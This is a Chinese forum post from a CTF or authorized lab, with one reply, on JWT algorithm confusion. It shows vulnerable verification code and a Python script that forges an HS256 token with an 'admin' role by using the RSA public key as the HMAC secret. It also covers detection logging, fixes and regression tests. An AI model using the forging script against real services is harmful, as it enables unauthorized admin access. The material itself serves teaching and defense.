发布于4小时前4小时 背景在 CTF Web 密码学题和授权靶场中,JWT 算法混淆是比较典型的一类权限边界问题。场景通常是统一认证服务使用 RS256 签发令牌,业务 API 根据 JWT 头部的 alg 字段自行选择验签方式,并错误地把 RSA 公钥同时当作 HMAC 密钥使用。这不是 RSA 或 HMAC 本身被破解,而是服务端信任了攻击者可控的算法标识,导致同一份公钥材料跨越了“非对称验签”和“对称认证”两种用途。验证应限定在自建 CTF 环境、授权靶场或明确书面授权的测试系统内。本文示例使用 ctf-lab.example 和测试账号 trainee-01。不要替换为未授权目标,也不要使用他人的 sub、邮箱或真实凭据。问题定位假设低权限测试账号登录后得到一个 JWT,正常头部和载荷如下:{'alg':'RS256','typ':'JWT','kid':'lab-rsa-01'} {'sub':'trainee-01','role':'user','iss':'lab-sso','aud':'internal-api','exp':1730000000}排查时先确认三个事实:服务端原本是否只应接受 RS256,而不是同时支持 HS256。验签算法是否直接来自未验证的 header.alg。RS256 公钥是否以相同字节形式被传入 HMAC 验证分支。公钥公开并不是漏洞。真正的问题是服务端允许客户端把公开材料重新解释为对称密钥。PEM 换行、尾部换行和证书/公钥格式都会影响 HMAC 结果,因此验证时必须使用服务端实际读取的字节内容,不能随意复制后重排。技术分析JWT 的签名输入固定为 base64url(header) + '.' + base64url(payload)。RS256 使用 RSA 私钥签名、公钥验签;HS256 则由通信双方使用同一份秘密执行 HMAC-SHA256。下面是问题代码的简化逻辑。它根据攻击者可控的 alg 选择算法,而且把 publicKey 同时交给两个分支:const crypto = require('crypto'); function unsafeVerify(token, publicKey) { const [h, p, s] = token.split('.'); const header = JSON.parse(Buffer.from(h, 'base64url')); const input = h + '.' + p; if (header.alg === 'HS256') { const expected = crypto.createHmac('sha256', publicKey) .update(input).digest('base64url'); return expected === s; } if (header.alg === 'RS256') { return crypto.verify( 'RSA-SHA256', Buffer.from(input), publicKey, Buffer.from(s, 'base64url') ); } return false; }如果攻击者能取得 publicKey 的原始内容,就可以把 alg 改为 HS256,并用该公钥作为 HMAC 密钥生成签名。漏洞服务会认为签名有效,后续若直接信任 role 等声明,就可能越过管理接口的权限边界。授权环境中的验证步骤第一步只使用自己的低权限令牌检查结构,不要把完整令牌提交到在线解码网站。可在本地执行:export TOKEN='替换为授权靶场中的低权限JWT' python3 - <<'PY' import os, json, base64 def dec(part): part += '=' * (-len(part) % 4) return base64.urlsafe_b64decode(part) h, p, s = os.environ['TOKEN'].split('.') print('header =', json.loads(dec(h))) print('payload =', json.loads(dec(p))) print('signature_bytes =', len(dec(s))) PY第二步确认公钥来源。CTF 中可能直接提供 jwt-public.pem,也可能通过受控的 JWKS 地址发布。需要记录 kid、密钥类型 kty、用途 use 和算法 alg,避免误把加密密钥当作签名密钥。第三步在本地生成概念验证令牌。以下脚本只针对存在上述缺陷的实验服务,载荷使用当前测试账号,并将有效期限制为五分钟:import base64 import hashlib import hmac import json import time import uuid def b64u(data): return base64.urlsafe_b64encode(data).rstrip(b'=') header = { 'alg': 'HS256', 'typ': 'JWT', 'kid': 'lab-rsa-01' } payload = { 'sub': 'trainee-01', 'role': 'admin', 'iss': 'lab-sso', 'aud': 'internal-api', 'iat': int(time.time()), 'exp': int(time.time()) + 300, 'jti': str(uuid.uuid4()) } with open('jwt-public.pem', 'rb') as f: public_key_bytes = f.read() h = b64u(json.dumps(header, separators=(',', ':')).encode()) p = b64u(json.dumps(payload, separators=(',', ':')).encode()) signing_input = h + b'.' + p signature = hmac.new( public_key_bytes, signing_input, hashlib.sha256 ).digest() print((signing_input + b'.' + b64u(signature)).decode())将脚本保存为 forge_lab_token.py,只对靶场的无副作用探测接口进行验证:TOKEN=$(python3 forge_lab_token.py) curl --fail-with-body -i \ -H "Authorization: Bearer $TOKEN" \ RS256 令牌返回 403,而上述 HS256 令牌返回 200,并且响应明确表明进入了管理员路由,即可确认漏洞。不要用创建用户、删除数据或导出信息等有副作用的接口证明影响。避免误判仅看到响应变化不等于验签绕过,应排除缓存、匿名访问和网关降级逻辑。部分 JWT 库会主动拒绝把 PEM 公钥用于 HMAC。此时返回失败是正常安全行为,不应通过降级依赖版本来“复现”。如果公钥来自 JWKS,JWK 转换后的 DER/PEM 字节可能与服务端实际 HMAC 输入不同。应通过代码审计确认密钥读取路径,而不是反复猜测。必须同时检查 iss、aud、exp、nbf 和 kid。只检查签名并不代表令牌验证完整。alg 为 none 属于另一种配置错误,不能与 RS256/HS256 混淆归为同一个验证结果。日志留痕与检测应用层应记录验签决策,但不要写入完整 JWT。建议字段包括时间、来源地址、路由、alg、kid、iss、aud、验签结果和失败原因。sub 只能在签名验证通过后记录,否则它仍是攻击者可控字符串。{ "event": "jwt_verify", "src": "10.10.20.15", "route": "/api/admin/ping", "alg": "HS256", "kid": "lab-rsa-01", "result": "deny", "reason": "algorithm_not_allowed" }对 JSON Lines 格式日志可做快速筛选:jq -r ' select(.event == "jwt_verify") | select(.alg != "RS256" or .result == "deny") | [.ts, .src, .alg, .kid, .route, .reason] | @tsv ' auth.jsonl重点关注短时间内 RS256、HS256、none 连续切换,同一来源枚举多个 kid,以及低权限主体突然访问管理路由。边界网关只能辅助检测,最终拒绝逻辑仍应放在实际验签组件中。修复建议核心修复是由服务端配置决定算法,而不是由令牌头部决定。Node.js 使用 jsonwebtoken 时可固定为 RS256:const fs = require('fs'); const jwt = require('jsonwebtoken'); const publicKey = fs.readFileSync('./jwt-public.pem'); function verifyAccessToken(token) { return jwt.verify(token, publicKey, { algorithms: ['RS256'], issuer: 'lab-sso', audience: 'internal-api', clockTolerance: 5, allowInvalidAsymmetricKeyTypes: false }); }为签名公钥建立明确的 KeyObject 类型,禁止进入 HMAC 分支。对 kid 使用静态映射或严格 JWKS 解析,禁止将 kid 拼接为文件路径或任意 URL。校验 iss、aud、exp、nbf,并限制令牌最大生命周期。管理权限尽量由服务端权限库查询;若必须放入 JWT,应配合短有效期和权限版本号。修复后轮换签名密钥并使存量令牌失效,但单独轮换密钥不能解决算法混淆。增加回归测试:合法 RS256 应通过,HS256 公钥签名、alg none、错误 aud、过期令牌和未知 kid 必须拒绝。总结这类 CTF 密码学题的关键不是爆破密钥,而是识别算法、密钥类型和权限声明之间的信任边界。验证时应先还原签名输入与密钥读取方式,再用低权限测试账号和无副作用接口完成最小证明。生产修复则要固定算法、隔离密钥用途、完整校验声明,并保留可检索但不泄露令牌内容的审计日志。 代码审计、调用链与关键函数定位示意 网络请求、日志与边界流量分析示意
2小时前2小时 这类题的关键不只是把 JWT 头部从 RS256 改成 HS256,还要确认服务端是否同时满足两个条件:信任 token 自带的 alg,并把 RSA 公钥原文当作 HMAC secret 使用。新版库通常已经拦截了这种密钥类型混用,所以复现时最好先确认依赖版本和实际验签路径,不要只看 payload 是否能解码。 修复上建议把“算法、密钥、业务声明”一起固定,不能仅依赖默认参数。例如 Node.js: const claims = jwt.verify(token, publicKey, { algorithms: ['RS256'], issuer: 'auth.example', audience: 'api.example', clockTolerance: 5 }); if (claims.role !== 'admin') { throw new Error('insufficient privilege'); } 如果同时支持 HS256 和 RS256,不要让它们共用同一个验证入口。应先根据可信配置选择验证器,而不是根据未验签的 header 动态决定密钥;kid 也只能映射到预置 key ID,不能直接拼文件路径或 URL。 留痕时不建议记录完整 JWT,避免 token 二次泄漏。可以记录 token 的 SHA-256 指纹、header 中的 alg/kid/typ、验签失败原因,以及 iss/aud/sub/jti 等必要字段: const fingerprint = crypto .createHash('sha256') .update(token) .digest('hex'); logger.warn({ event: 'jwt_verify_failed', token_sha256: fingerprint, alg: header.alg, kid: header.kid, reason: err.name, remote_ip: req.ip }); 回归测试至少覆盖:alg=none、RS256 改 HS256、空签名、未知 kid、过期 exp、未来 nbf、错误 iss/aud。其中算法混淆用例应明确断言验签失败,而不是只断言接口返回 401,这样才能避免后续中间件改动把漏洞重新引入。
创建帐户或登录后发表意见